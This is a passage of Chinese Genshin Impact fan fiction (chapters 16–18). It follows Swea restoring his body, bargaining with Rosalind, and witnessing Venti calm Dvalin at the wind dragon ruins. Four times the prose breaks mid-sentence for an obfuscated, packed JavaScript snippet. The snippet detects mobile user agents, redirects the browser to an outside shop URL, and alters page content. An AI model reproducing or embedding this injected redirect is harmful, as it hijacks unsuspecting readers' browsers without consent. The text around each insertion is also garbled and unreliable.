斯威亚在心底为自己鼓起,他的脸已经只剩下一个模糊的轮廓,五官正在消失,只剩下眼睛的位置还亮着两点幽蓝的光。每一次呼吸,都有光屑从他的嘴角溢出,在空气中打着旋儿消散。 斯威亚从守卫脚边滑过,此刻他已经彻底没有了人型,身体也缩小了无数倍,只是一滩流动的、发着蓝光的凝液,贴着地面的缝隙无声无息地溜了进去。 他顺着地缝滑过石板路,滑过歌德大酒店的大门留着的缝隙。 他从门缝里挤进去,沿着走廊的阴影一路滑行,最后从自己房间的门槛下面那道窄得几乎看不见的缝隙里钻了进去。偌大的歌德酒店空无一人,或许是因为斯威亚先前在愚人众的营地闹得过了头,总之,斯威亚并未感觉到愚人众的存在——这正好! 赞美原初! 斯威亚一遍全速前进,一边在心中默念—— “我们无意遗忘誓言,我们无意忘却行善,我们无意忽视轨迹。” “于每日伊始之时,于一切重制之时,我恳求你暂且容留我于地上,我们仍有未曾偿还的罪孽,我们尚未赎清的业果,我们愿意为此付出代价,我们愿意为您行一切光辉之举——” “一切荣耀归于统帅万国的君王,伟大的法涅斯大王!” 随着最后的祷词落下,房间里那滩湖蓝色的凝液开始缓缓凝聚。像是有一只无形的手在揉捏面团,那些散落的光点、碎片、凝液,一点点聚拢、收束、重塑。轮廓先出来,然后是四肢,然后是五官—— 斯威亚慢慢恢复了人型。 但他还是格外虚弱。 斯威亚像一条被冲上岸的鱼,大口大口地喘着气,额头上沁出一层细密的冷汗,他艰难的试图重新站起,可脊椎骨还没有回来—— 胸前的怀表不合时宜地咕噜咕噜滚出来,在月光下打着旋儿,最后停在离他指尖一寸远的地方。表盘上的时针正以一种令人绝望的速度移动着,距离“4”只有一步之遥。 到此……为止了吗? “真是狼狈啊,斯威亚。” 声音从身后传来。 斯威亚艰难地侧过头。罗莎琳不知何时出现在房间里,正靠在灶台边上,双臂环胸,居高临下地看着趴在地上的他。金色的长发从肩头垂落,在昏暗的房间里泛着暗沉的光。 她越过斯威亚,径直从灶台下面的抽屉里取出一个鸡蛋。然后沉默的开火,倒油,蛋壳在灶台边缘轻轻一磕——完美的裂痕。蛋液滑入锅中,在热油里发出滋啦的声响,边缘迅速卷起焦脆的金边。 几分钟后,一个完美的提瓦特煎蛋被铲到盘子里。蛋黄饱满圆润,像一轮微缩的太阳,蛋白的边缘煎得恰到好处的焦脆。 罗莎琳端着盘子走到刚刚重新聚合出脊椎骨的斯威亚面前,把盘子递给他。 “不继续吗?”罗莎琳难得好心好意,“时间差不多了吧。” 斯威亚深吸口气双手举着盘子,支着身躯,恭敬地对着窗外漆黑的天空祈祷:“我已睡醒,感觉良好!感谢您让我又活过了一天!今天也会好好为您服务!” 然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383588|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,斯威亚果断地吃下煎蛋。 神奇的事情发生了。 那些从奔狼领一路过来逸散得到处都是的碎片迅速回归到斯威亚身上,幽蓝色的光电从窗口慢悠悠飞回,聚合在斯威亚身上。 罗莎琳挑眉,正欲开口,斯威亚身上又出现了异样。 一道极细的雷光,从他胸口正中央凭空浮现,像是有人用最锋利的刀刃在他身上划开了一道口子。那道雷光不是从外部劈入的,而是从身体内部向外渗透,从骨血深处向外蔓延。 然后是第二道、第三道、第四道。 雷光从他的肩膀、手臂、腰侧同时迸发,紫色的电弧在空气中炸裂,发出令人牙酸的滋滋声。那些雷光不像是普通的雷电——它们太亮了,亮得刺目,亮得像是要把斯威亚整个人从内部点燃。 紧接着,一道巨大的雷光从他头顶斜劈而下。 那道光、那道光的轨迹、那道光的形态、那道光的压迫感——像极了稻妻城中那惊天动地的一刀。 无想的一刀。 斯威亚的身体从中间被齐齐切开。以一种更为彻底的、近乎概念性的分割,使得其身体在雷光中碎裂,化作无数细小的光点。 罗莎琳忍不住后退了半步。 她的瞳孔紧缩,脸上的从容在这一刻彻底碎裂。 罗莎琳忍不住后退了半步,惊疑不定:“你这是……” 被二人忽视的怀表指针,默默走向四点。 雷光散去,斯威亚重新完好无损地站在地方,仍是那副祈祷的驾驶,只是看向罗莎琳,欲言又止。 “赞颂我主,感谢您的仁慈与宽厚,为我偿还了救命的恩情。”斯威亚低声道,“只是时间的指针因何而波动?这对我的工作产生了毁灭性打击,能否烦您再度予以我启示。” 罗莎琳连续发问:“喂,你到底是怎么了?这到底是怎么回事?” “问题需要一个一个回答。”斯威亚叹了口气,看向罗莎琳,“麻烦告诉我,今天蒙德发生了什么。” “狂妄!”罗莎琳金色的瞳孔里怒火翻涌,“你又是以什么身份在命令我?” “这不是命令,而是报偿。”斯威亚盯着罗莎琳的眼睛,“既然你在这里等我,那她就不可能没告诉你们我的本质。” 罗莎琳半眯起目眸,试图从他的表情里找到破绽:“我听不懂你在说什么,我只看到了你要是没我出手相助,连人型都维持不住,还被凭空出现的雷光一闪砍成灰飞。斯威亚,现在可不是你向我提条件的时候,我们还有账,仍未算清。” “感谢至高的主宰,不仅原谅我的失误,又予以我还以施恩者报偿的机会——罗莎琳,刚刚的景象,便是那高天允许我还你的援助。” 斯威亚低声道:“还没意识到吗?一路上我没见到愚人众的士兵,你把他们调走了吧?既然如此,整个酒店只有你一人。那么,无法言语谎言、也无法告示不存在之物的我,在险些失去行于地上之权之时,究竟是告示出来了谁离开此世的景象呢?” 16.第 16 章 “真是可笑。” 罗莎琳只觉得斯威亚在嘲讽她,面色不善:“你的意思是我会被那位锁国的神明亲手杀死?这简直是无稽之谈!斯威亚,你的消息太落伍了。将军自眼狩令之后已经将权力下放给三奉行。愚人众作为眼狩令最有力的支持者,而我又是女皇大人的执行官,她怎么可能会对我出手。” “嘘,我没有这么说哦。”斯威亚竖起一根手指抵在唇边,语气轻得像是在哄小孩,“你如果不当真,忘记它便可,不用急于向我求真。” 他放下手,眼神飘向窗外那片即将仍在闪烁着星星漆黑的天空,今晚月亮尚不是满月:“语言本身就具有强大的力量。很多很多年以前,某个被天使所引领的古国经流传过一个名为‘谶纬’的学说……算了,总而言之,一切皆有回应。如果你不信的话,忘记我刚才说的,然后重新提一个报偿如何?” 罗莎琳像是终于等到了满意的答案,下巴微微扬起,金色的眸子里闪过一丝志在必得的光:“我要巴巴托斯的神之心。” “我打巴巴托斯?真的假的?” 斯威亚“呱”了一声,像是一只被踩了尾巴的青蛙。他整个人往后一缩,坚定拒绝:“你要不换一个条件,我看能不能想想办法。” 罗莎琳:“那你去干掉西风骑士团,我要蒙德的控制权。” “过分了哈。”斯威亚嘴角抽搐,脸上写满无语,嘴巴也毒起来:“你怎么不去许愿?我这里只支持等价交换,不支持无中生有。” “切,说破天结果又什么都不答应,算了,就不能指望你可靠。”罗莎琳冷哼一声,开始如实回答他先前的问题,告诉斯威亚今天发生的一切,“蒙德的荣誉骑士,旅行者。这位不知从何而来、寻找血亲的异乡人和那个吟游诗人一起,在西风骑士团代理团长的配合下,在约莫傍晚时分,于摘星崖呼唤了特瓦林。” 罗莎琳顿了顿,嘴角勾起一丝嘲讽的弧度:“可惜,愚龙为深渊的耳语蛊惑,弃神明远去。真是可喜可贺。” “谈崩了啊……真麻烦。”斯威亚若有所思地摸着下巴,湖蓝色的眼睛满是思绪,话里却依旧不正经:“果然还是不该心存侥幸心理留在挪德卡莱,错过了去找特瓦林索赔的好机会。” “你天天当酒保就能看见特瓦林的主人,也没见你去上门找茬。但凡你拿着之前去抢天空之琴的干劲,赔偿这种无用的东西,于你而言不是要多少有多少。”罗莎琳侧过头,斜睨着他,语气里满是讥诮,“转盯着愚人众坑害算什么本事?” “这可不一样。”斯威亚两手一摊,表情无辜,“他用的面容属于那个风信子般的少年,我自然也应当用对待哪个少年的态度去对待这样的他。而且,亲爱的罗莎琳,你可能已经忘记了五百年前风神的伟业……我建议你还是对巴巴托斯保留一些必要的尊重为好,至于先前我的出手……愚人众的素质有待加强。” 斯威亚声音忽然沉了下来,湖蓝色的眼睛直直地盯着罗莎琳,语气严肃而认真:“赞颂伟大的天空岛之主!哪怕是至冬国的、一无所知的人类,也万不该诋毁我们的王。” 罗莎琳沉默了一瞬,别过脸去,声音里带着一丝不情不愿:“……我会警告他们,什么该说,什么不该说。”她顿了顿,语气又恢复了一贯的不耐烦,“后面的事,你别插手总行吧?” 斯威亚:“呱。” “不是,你这也不能答应吗?”罗莎琳见斯威亚又装青蛙叫,终于绷不住了,脸上的表情从期待变成无语,又从无语变成了暴躁,“你这家伙的承诺到底有什么用啊,这也不行那也不行,我就多余救你。” “唉,能救命的承诺不该用在此等无意义的交换上。”斯威亚叹了口气,单手抚在胸前心脏的位置,“我会在你快死的时候救你一命,用以偿还你救我的恩情。但蒙德,我还有别的事情要做,尚且不能确认会不会插手你们两个国家之间的斗争,所以请恕我无法满足你的请求。” 斯威亚抬起头,目光平静如湖面,自顾自说道:“如果没什么别的要说的话,就请走吧。神之心也好,巴巴托斯的事情也罢——只要高天未对此降下神谕,我将遵行神圣的命运轨迹,静待一切的发生。” “神经病。” 罗莎琳骂了一声,头也不回地准备转身离去。 “等等,罗莎琳。”斯威亚喊道。 罗莎琳停下脚步,肩膀微微一僵。她没有回头,但斯威亚能感觉到她的耳朵竖了起来——显然她还以为斯威亚回心转意,准备答应她的要求。 “求求你告诉我他们接下来要去哪里。”斯威亚双手合十,做了一个标准的拜托手势,“这对我真的非常重要!” 罗莎琳的肩膀肉眼可见地垮了下去。 跟斯威亚讲话简直是浪费时间! “自己去风龙废墟找!”她没好气地丢下答案,头也不回地大步离去,清脆的鞋跟声在走廊里回荡,一声比一声远,门被重重地摔上。 斯威亚叹了口气,蹲下身,拾起先前掉落的怀表。银色的表壳在晨光中泛着温润的光泽,他拇指轻轻一拨,表盖弹开。 指针安静地走着,不急不缓,完全看不出先前不久才猛跨一大步的样子。 斯威亚合上表盖,金属碰撞发出清脆的“咔哒”一声,微微叹了一口气。 看来那位拨动指针的神秘人暂且歇了快进时间的心思,终于能够安安分分享受夜晚了。 话虽如此,但现在这情况斯威亚可不敢放松警惕。这次若不是叶洛亚提醒,他根本没有意识到时间已经悄然来到第二天的起点。 再晚一点点,他可就要在众目睽睽之下变成一摊宛若史莱姆凝液的东西,然后只剩下灵魂在空气里飘啊飘啊飘。 那可就太糟糕了! 伟大的法涅斯大王绝不会容许他再次违背誓约,所以保险起见,最近这段时间,还是先在蒙德老老实实呆一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387477|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,至少要弄清楚时间流速加快的规律,或者是找到这个胡乱调拨时间的罪魁祸首,好好讲一下道理—— 比如说,下次调时间之前发个倒计时警告之类的。 这对他真的很重要! 斯威亚把怀表塞回衣领内侧,拍了拍身上并不存在的灰尘,开始收拾乱七八糟的房间。被雷光炸飞的杂物一件件归位,地板上那些残留的亮晶晶的凝液痕迹也用抹布擦得干干净净。等一切收拾妥当,天边已经泛起了鱼肚白。 斯威亚难得地在天蒙蒙亮时才出门。 推开歌德大酒店的大门,清晨的凉风迎面扑来,带着蒙德特有的青草和蒲公英的气息。斯威亚深深地吸了一口,整个人精神了不少。 “早上好呀,劳伦斯。”斯威亚热情地跟路过门口的骑士打招呼,笑容灿烂,一如既往。 常年看守正门、但今天上午休假的劳伦斯下意识地点了点头,然后脚步猛地顿住。 “咦,斯威亚?早上好! 劳伦斯的眼睛瞪得溜圆,嘴巴张成了一个大大的“O”型。他的目光在斯威亚和天边那抹鱼肚白之间来回游移,脸上的表情写满了惊讶。 要知道,斯威亚通常凌晨四点多就出城门,整个蒙德城的守卫都习惯了在那个灰蒙蒙的时辰看见一个精神抖擞的斯威亚从城门溜出去,然后晚上九点准时回天使的馈赠上工。 这还是劳伦斯第一次在太阳出来之后看见斯威亚出现在蒙德城内。 “你今天……这会还没出去?”劳伦斯艰难地组织着语言,声音里带着一种见证了历史般的恍惚。 “昨天累的我够呛,还不小心旷了工,就想着今天干脆就不急着出门了。”斯威亚笑眯眯地拍了拍劳伦斯的肩膀,越过他,大步流星地走向蒙德城大门口。 猫尾酒馆的玛格丽特小姐目送斯威亚从她面前走过,铁匠铺的瓦格纳放下了锤子,黝黑的脸上浮现出一种“这个世界终于疯了”的表情。甚至连猫尾酒馆门口那只常年睡觉的猫咪都抬起了头,眯着眼睛看了斯威亚一眼,然后又懒洋洋地趴了回去。 “斯威亚?你今天怎么还在城里?” “太好了斯威亚,你终于打算好好休息了!” “天哪,我没看错吧?这个点还在蒙德城的斯威亚?” 斯威亚一一回应:“因为蒙德城最近发生的事情太多了,感觉只要不在一天就会错过很多事情,所以干脆给自己放了个小假。” 大家都心有余悸地点头,大吐苦水:“是啊……又是风魔龙又是愚人众,真是不知道什么时候是个头。” 斯威亚也在心里默默补充了一句:这时间再乱下去,他早晚也得跟着一起出事。 但是光呆在蒙德城里面也不是个事儿,斯威亚计划去一趟风龙废墟。 闲着也是闲着,不如顺便观察一下神明和眷属要如何解决他们的小矛盾。 ——如果能索赔成功就更好了! 17.第 17 章 蒙德人的起名方式真的非常朴实无华。 这里有一个古遗迹废墟,还有一条叫做特瓦林的风龙把它霸占当成了窝。那从今天开始,这里就是风龙废墟啦! 而作为一个真的能随机刷新出风龙的废墟,按理说,应该会有闲着没事干的冒险家会来探索遗迹——特瓦林占地为巢之后,非常具有先见之明地在废墟的入口设置了暴风的屏障,把一众闲杂人等屏蔽在外头,自己窝在遗迹内不知道在捣鼓什么东西。 当斯威亚紧赶慢赶来到这里时,暴风屏障已经全然消失不见,只剩下零零散散被暴打一顿的深渊法师们横七竖八地摊了一地。剑伤、风伤、还有火大剑…… 哇,怎么连迪卢克老板也过来了? 斯威亚难免有些心虚,不,应该说任何一个员工在旷工后的24小时之内见到发工资的大老板都勇敢不起来。尤其是在他前一天刚刚被好心的查尔斯提前放假、第二天又得寸进尺地翘班的前提下。 原本斯威亚打算去找法尔伽要的亲笔信,也因为跑得太快而完全忘记。这糟糕的世界还一天天的给他时不时来一个惊喜大跳跃,弄得斯威亚无比被动。 总而言之,重新去趟挪德卡莱弄到法尔伽亲笔信前,还是先不要跟迪卢克老板碰上为妙。 斯威亚猫着腰,贴着废墟边缘的断壁残垣,悄无声息地绕过了那片案发现场,可一个转角,裸露的石板和杂草交错的地方躺着更多的丘丘人。 真希望迪卢克老板没有顺道宣泄怒火,斯威亚想。 风车菊无辜地转动花瓣,向斯威亚展示自己的无害。斯威亚轻轻触碰花瓣,见证了一切的风车菊就迫不及待地告诉了他不久之前这里发生的一切。 ——合着这一地的丘丘人和深渊法师还是特瓦林干的坏事! 斯威亚之前一直百思不得其解:明明无论是他还是西风骑士团都有很认真地在清扫魔物,为什么地底还能有那么大一个装着深渊教团的据点? 现在这个问题也已经解答。 勾结深渊、意图谋反,特瓦林真干了。 斯威亚大致能够了解这条龙的心路历程,言语的煽动最能带动恐惧,恐惧又会激起排斥。大部分的人类太过于弱小,因此面对肉眼可见的差距,他们也无力去仔细观察。 事实上,蒙德人只需要好好冷静下来就能意识到——对于一条如此巨大、如此强大的青年龙而言,只是掀翻几个屋顶、吹跑几个摊位,是多么克制的行为啊! 那可是一条实实在在的龙啊! 虽然斯威亚到现在还在时不时跟熟人蛐蛐“特瓦林素质存疑,且用眼泪砸他脑袋不道歉”的黑料,但他此时不得不钦佩起巴巴托斯的教育理念和水平——竟然能让一条龙发脾气都处处克制,甚至干的最过分的事情,也就是造个巨大的风暴屏障把自己闷起来。 如果特瓦林没有藏匿这些深渊教团的法师,斯威亚甚至都觉得这完全算不上个事。 可最大的问题就在这里,斯威亚想,现在就看巴巴托斯怎么处理他那陷入迷途的眷属了。 风车菊们呼啦呼啦疯转,像是在开一场紧急会议。斯威亚站在废墟地底的草坪上,望着遗迹深处那片被迷雾笼罩的天空,陷入了沉思。 嗯,在蒙德有主场优势的情况下越过巴巴托斯杀死他的龙龙,还是太考验他的动手能力了。希望巴巴托斯劝慰特瓦林迷途知返,不然……… 他就只能祈祷试试能不能一发轰掉特瓦林了。 斯威亚深吸一口气,蹲下身,手掌轻轻按在离他最近的一具深渊法师残骸上。 元素具有趋同性,生命亦是如此。 深渊的力量虽然很难用,但不是完全不能用。这些刚刚消散不久的生命本源还没有完全回归地脉,仍然以细碎的光点形式悬浮在空气中,斯威亚闭上眼睛,感受着那些光点的脉动——深渊法师的、丘丘人的、甚至还有几只史莱姆的,风龙废墟在龙和神的影响下,所有的生命本源都在以一种混乱而无序的方式飘散,这足以让他聚合远超普通地方的元素力量。 斯威亚调动周遭的元素,它们在他的掌心缠绕,编织。那些飘散的生命本源被吸引过来,化作一根根细如发丝的丝线,从四面八方汇聚到他的指尖。 丝线越来越多,越来越密。 斯威亚的十根手指灵活地穿梭在那些丝线之间,像是在用无形的纺织机织布,每一根丝线都被他精确地安置在特定的位置,交织打结、好好固定。 丝线的在不断凝实,在最后定格在一层几乎透明的银白色光泽上空气中渐渐浮现出一个复杂到令人眩晕的立体结构,层层叠叠,错落有致。最后,大炮的雏形在斯威亚身前缓缓成型。 大炮的结构无比精密,每一个节点都恰到好处地卡在丝线交织的核心位置,生命的本源作为弹药和大炮结构的本身在其中缓缓流动,像是血液在血管中奔涌。 斯威亚睁开眼,湖蓝色的瞳孔里映着那座半透明的大炮,他抬头,定眼利用元素视野确定了特瓦林的位置。 这一炮,特瓦林会很痛。 但是只要斯威亚动手,不管轰不轰得掉特瓦林,这个距离、巴巴托斯完全有机会反手轰掉他。 所以斯威亚会更痛! 热知识,能用脸接妖精的北国抢阵不等于能用脸接风神大招。 再一个热知识,五百年前,烬寂海可是直接被某位神明吹出了时间轴。 斯威亚不认为自己比烬寂海耐吹。 所以伟大的法涅斯大王啊,请你务必保佑那头龙能够被神明好好说服,不然你弱小可怜的信徒就得去世界之外为您祷告了! ——是的,说服。斯威亚完全不认为巴巴托斯会出手揍一顿特瓦林。 巴巴托斯急眼了最多开个龙卷风——虽然姑且不谈一头风龙对龙卷风的抗性如何,反正根据他每次参加这种乱七八糟混战的宝贵经验,龙会不会受伤难说,但是路边花花草草、还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393950|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么大一个遗迹高低得被拆掉一半。 而且万一误伤到斯威亚自己,他还得自己拼。 于是斯威亚就这么守在遗迹门口,老老实实蹲伏。 元素具有趋同性。偌大的风龙废墟现在有一条暴怒且伤心的风龙,和一只同样伤心且拼命挽回风龙的风神。所以周遭的风元素开始——怎么说呢,有点像左脑攻击右脑。 斯威亚靠在断墙上,百无聊赖地观察着面前那片风车菊花田。 轻柔的风晃晃悠悠飘来,像是一双温柔的手,抚摸每一片花瓣。风车菊们舒服得摇头晃脑,花瓣转动的节奏变得慵懒而惬意,像是在午后的阳光下打盹的猫。 斯威亚甚至能感觉到那阵风里带着一丝若有若无的疼惜,像是一个精灵试图安抚自己叛逆的猫咪。 可平静只是表象,不和谐的另一阵风又从同一个方向涌来。 那风狂暴得像是要把整个世界撕碎。它凭空在花田上方凝聚,旋转,眨眼间就化作了一只巨大的狂风之核。 狂风之核的形态扭曲而狰狞,边缘处不断撕裂出新的风刃,向着四面八方无差别地劈砍。 这下可怜的风车菊们遭了殃——它们的根茎在狂风中剧烈摇晃,有几朵已经险险地被拔出了泥土,花瓣被撕扯得七零八落,在空中打着旋儿飞散。那只狂风之核发出一声尖锐的呼啸,像是在怒吼,又像是在哀嚎,充满了被背叛后的愤怒和无处宣泄的悲伤。 两股风在花田上空对峙。 温柔的、克制的、带着十二万分耐心的巴巴托斯,以及狂暴的、混乱的、几乎失去理智的特瓦林。 场面一时之间十分之混乱,这一片风车菊都被祸害得不轻。 斯威亚默默往后退了几步。 不过很快,打过魔神战争的老资就是展示了他不可撼动的权能和力量。 遗迹中心传来一声巨响——那应该是特瓦林倒下的声音,沉闷而震撼,像是有一座山从中间裂开。 然后斯威亚就听到,特瓦林开始响。 不是那种斯威亚记忆里传统龙族震耳欲聋的咆哮,而是一种持续的、沉闷的、像是发动机运转时的哼哼声。 那声音一下一下的,中间还夹杂着什么“审判”,什么“旅行者,快净化”之类的喊叫。 可怜的特瓦林,这条被主人硬生生薅下来的龙哼哼声就没停过,像是一只被主人按在怀里强行梳毛的猫,满肚子的不情愿但又挣脱不了,只能发出一连串委屈巴巴的咕噜声。 哇,斯威亚感慨,这龙怎么一直响?巴巴托斯果然没有手下留情! 斯威亚的目光从惊讶变成佩服,又从佩服变成了深深的敬畏,以及对自己居然质疑老资历是不是会手下留情的愧怍。 ——不愧是那位执政大人选定的尘世七执政之一! 他居然之前还怀疑巴巴托斯会以权谋私,简直就是在质疑伟大高天之主宰的影子的识人术! 多么僭越! 18.第 18 章 于此同时,另外一边的遗迹内部,感知到外面的斯威亚已经拆散了凝聚地脉力量造的大炮后,温迪松开了环住特瓦林的臂弯。 温迪的动作很轻,拨动琴弦的手指顺着特瓦林颈侧那排宝石般璀璨的鳞羽轻轻滑过,每一片鳞片都在他的触碰下微微颤动,折射出青金石与祖母绿交织的流光。 “没事了,没事了。”温迪的声音很轻,像是风吹过湖面时泛起的涟漪,“不要害怕,我们不会伤害你的,特瓦林。” 特瓦林趴在地上,身形蜷缩成一团巨大龙,忽略体型,甚至像一只被雨淋湿的猫。他的脑袋枕在前爪上,那双琥珀色的竖瞳里映着温迪小小的身影。 思绪在脑海中翻涌沸腾。 特瓦林想起了很久很久以前。 那时候蒙德还是一片冰原,他和巴巴托斯在天空中翱翔,穿过云层,越过雪山,一直飞到天地的尽头。 巴巴托斯坐在他的背上弹着竖琴,唱着那些关于自由和远方的诗歌。他会在空中翩翩起舞,配合着琴声的节奏翻转、俯冲、盘旋,每一次振翅都恰好踩在音符的间隙里。 那是特瓦林最快乐的时光。 后来是那场战斗。 魔龙杜林从天空坠落,毒血溅满了他的全身。他和那条魔龙撕咬在一起,爪牙嵌入对方的血肉,风刃切开鳞甲和肌腱。他赢了,但也付出了代价——背上的伤口至今未能愈合,毒血侵蚀着他的身体,也侵蚀着他的心智。 特瓦林醒过来的时候,巴巴托斯不在。 他等了很久。他能感觉到巴巴托斯的气息就在蒙德的某个角落,轻得像风,淡得像雾,若有若无地存在着。可是巴巴托斯不来找他,也不呼唤他。 只是远远地、远远地看着他。 深渊的法师们开始在他耳边低语。那些声音像蛆虫一样钻进他的脑子,啃噬着他的理智。他不信——深渊不值得信任,他是高贵的东风之龙,是风神最亲密的眷属,怎么可能听信那些肮脏生物的谗言? 可是事情却真的如他们所说的那样发展了。 明明是低语森林里独属于神明和眷属的会面,巴巴托斯却又喊来了不知道哪里来的两个外人。 明明弹奏竖琴唤他过来,身边却跟了那么多不相干的闲杂人等。一个金发的旅行者,一只聒噪的白色精灵,还有那些握着剑随时准备冲上来的骑士。 他不想见那些人。他只想见巴巴托斯。 只想被巴巴托斯呼唤。 “为什么?” 特瓦林开口,声音嘶哑得像是生锈的铁片在摩擦。他其实想问的是——为什么明明不要我了,却又来保护我? 温迪却以为特瓦林是在问自己为什么把它弄得如此狼狈。 他垂下眼,手指在特瓦林的鳞羽上停顿了一瞬。 特瓦林是一条多么好的龙啊。对待陌生人礼貌乖巧,对待友人善良羞涩,他的美好品格和美丽外表一样流传了七国,远近闻名,是所有见过他的人都赞不绝口的“东风之龙”。如果不是因为他的失误,特瓦林根本不会被深渊法师趁虚而入,不会在数百年的孤独中被毒血慢慢侵蚀,不会变成今天这副模样。 可是斯威亚不会管这些理由的。 他是为数不多还行于世的信徒,一旦让斯威亚知道了特瓦林与深渊同流——哪怕他此刻以尘世七执政之一的身份站在这里,也拦不住斯威亚想要对特瓦林动手的决心。 于斯威亚而言,哪怕是风神的风矢直指他的心脏,若是有机会除掉近在咫尺的深渊扈从,他也绝对会做出以命换命的选择。 所以哪怕再心疼,他必须揍一顿特瓦林,至少表明态度。 “别动。”温迪轻轻抚着特瓦林的大脑袋,声音里带着一丝连他自己都没察觉到的紧张,“斯威亚在附近。让他看到你这幅样子,万一把你的小脑袋切下来就不好了。” 特瓦林的身体僵了一下。 “旅行者能够净化你脖子上的毒血。”温迪意味特瓦林害怕,语气放得更加柔软,“等你把深渊的毒血净化治好,想要什么都行。” 特瓦林张了张嘴。 他什么都不想要。他只想—— 那个漂浮在金发旅人旁边的白色小精灵插嘴道:“不过他也没必要这么干吧?斯威亚干了这么久的酒保也没见到他出来制止特瓦林啊。” “可能是因为特瓦林自始至终都没有伤害过人类。”琴的声音沉稳而平静,冷静分析,“风魔龙经过的地方大多只是房屋和商铺受损,并没有出现无法挽回的伤亡。” 迪卢克站在一旁,望向温迪:“他到底是什么?精灵、妖精、妖怪,还是别的什么?” “迪卢克老爷不妨直接去问斯威亚。”温迪轻轻顺着特瓦林的鳞羽,“作为酒保的斯威亚,会回答‘天使的馈赠’老板的所有问题。” 迪卢克撇头:“哼,那还是算了,我暂且还不想失去一个勤快的好员工。能让一个强大且勤劳的不知名生物倒酒也挺有趣的。” 特瓦林张开嘶哑的喉咙,巨大的头蹭了蹭自己的神明,吸引回他的注意力。 “……那天早上,我的眼泪落在了他的头上。” 旅行者的净化能力相当有用,深渊的杂音随着被污染的血一同溅落在平台上,在石板地面上留下漆黑的痕迹。那些血迹像是活的,在地面上扭曲了几下,才不甘地化作青烟消散。 特瓦林的神智清醒了一些,风神的眷属已经意识到自己当着法涅斯信徒的面干了些什么——特瓦林不安地抬起头,琥珀色的竖瞳对上温迪那双翠色的眼睛。 “我听到了你的琴声。”特瓦林听见自己说,声音里有什么东西在颤抖,“我太高兴了……你已经很久很久没有呼唤我,也不主动与我见面,让我去做些什么……” 可是伤口又太痛了。 那些溃烂的伤口早已侵蚀了他数百年。被毒血腐蚀的鳞片下,是永远无法愈合的腐肉和碎骨。特瓦林本不该为这点小伤落泪——他是一条高傲的风龙,他的美丽世人皆知,他的强大有目共睹,他本不应该轻易落泪。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397175|200052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许龙就是这样矫情的生物吧。 面对伤口只字不提,却会在喜欢的存在面前忍不住落泪。 他没有管好自己的泪腺。那些充盈着深渊力量的眼泪从半空中落下去的时候,他听见下方传来一个熟悉的声音。他没有也不敢停下,反而加快了速度,扑向自己的神明。 他有好多话想说。 可如果是熟人就算了,为什么还有不认识的陌生人? 特瓦林扭过头,温迪不舍得他受伤,松了劲。巨大的龙首转回来,琥珀色的眼睛直直地盯着温迪,那双眼睛里盛满了五百年的委屈和不解。 他做这么多,其实只有一个问题。 “为何不呼唤我?” 巨龙的声音沙哑得几乎破碎,带着哭腔,带着颤抖,带着被深渊折磨了五百年都不曾说出口的委屈。 “为何不驱使我?难道,被深渊污染的我,就没有资格保护蒙德了吗?” “怎么会呢……特瓦林……唉……” 温迪摇摇头,那双翠绿的眼睛里像是有什么东西碎了一下,又被他自己悄悄粘回去。他的手指在特瓦林的鳞羽上轻轻画着圈,真的像是在安抚一只炸了毛的猫猫龙。 “我只是在想,你是自由的龙。”他的声音很轻,轻得像是风,“自由的神明不该束缚一条自由的龙,去为自由的城邦而战……” “不。” 特瓦林打断了温迪那可以梳理自己的“关心”。 “你就继续喊我。” 他的声音执拗得像个孩子,琥珀色的眼睛里有什么东西在发亮。那些亮光不是泪水,而是某种更深的、更炽烈的东西。 “虽然深渊的低语十分的嘈杂,虽然那漆黑的淤泥堵住了我的耳朵——但是、但是啊……巴巴托斯……” 他顿了顿,像是在积蓄说出下一句话的全部勇气。 “从醒来的那一瞬间起,我一直、一直期望能够听到——” “来自风神『巴巴托斯』的呼唤啊……” 风停了。 整个风龙废墟都安静了。 